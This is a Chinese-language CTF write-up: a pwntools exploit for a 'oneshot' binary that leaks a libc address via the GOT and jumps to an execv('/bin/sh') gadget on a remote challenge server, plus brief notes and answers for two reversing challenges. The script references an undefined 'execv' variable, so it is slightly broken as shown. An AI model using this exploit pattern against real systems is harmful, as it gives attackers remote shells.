Warmup——pwn
第一次输入的是一个地址
会输出地址的内容——这个可以用来泄露
一旦泄露了,在后面的输入就可以进行跳转到想要的位置
而且这里不需要覆盖
直接就会跳转到输入的位置去执行
但是这个题目的坑点在于要找到正确的偏移,在给出的libc中,有8个带/bin/sh的execv
一个一个试一下才能找到
Exp:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
proc_name = './oneshot'
proc_elf = ELF(proc_name)
print proc_elf.checksec()
context.log_level = 'debug'
io = remote("59.110.6.128",10086)
#io = process(proc_name)
#print proc.pidof(io)[0]
raw_input('debug')
local_lib_system =0x7ffff7a53380
local_lib_printf = 0x557b0
local_lib_execv = 0x451ff
local_lib_puts = 0x6f5d0
local_lib_temp = 0x6f4e6
lib2_sys = 0x46590
lib2_printf =0x0000000000054340
lib2_execv = 0x00000000000C12E0
lib2_puts = 0x6fd60
got_printf = 0x600ae8
got_puts = 0x600ad8
plt_puts = 0x4004F0
plt_printf = 0x400510
payload1 = str(int(got_puts))
io.recvuntil("?");
io.sendline(payload1)
io.recvuntil(":")
recvdata = io.recv()
puts_addr = recvdata[:19]
print "puts_addr "+ puts_addr
puts_addr = int(puts_addr,16)
execv1 = 0x6FBDA
execv2 = 0x46483
execv3 = 0xC18D1
execv4 = 0xC1BA3
execv5 = 0xC1BF2
execv6 = 0xE4968
execv7 = 0xE5765
execv8 = 0xE66BD
execv_addr = puts_addr + execv - lib2_puts
print "execv_addr " +str(hex(execv_addr))
payload2 = str(execv_addr)
io.sendline(payload2)
io.recvuntil("!")
io.interactive()
warmup——re
其实很简单
用ida打开看一下就可以了
然后写个程序,根据hint——goodgoodstudydaydayup
但是如果没有hint就很难。。。完全猜不到。。。
Crackme
四层分析就可以得到flag
第一层:
简单的倒推就知道是2
第二层:
这个其实可以暴力求出来是654321
第三层
给出merrychrismas,加上之前算出来的x[]数组,可以倒推出来应该输入的字符串
Lcont=gpfoog`q
第四层:
需要根据前面四个函数算出来flag变量的值
不是很难,稍微编个程就出来了
176455667
注意要在cmd中运行,才能看到flag——因为会闪退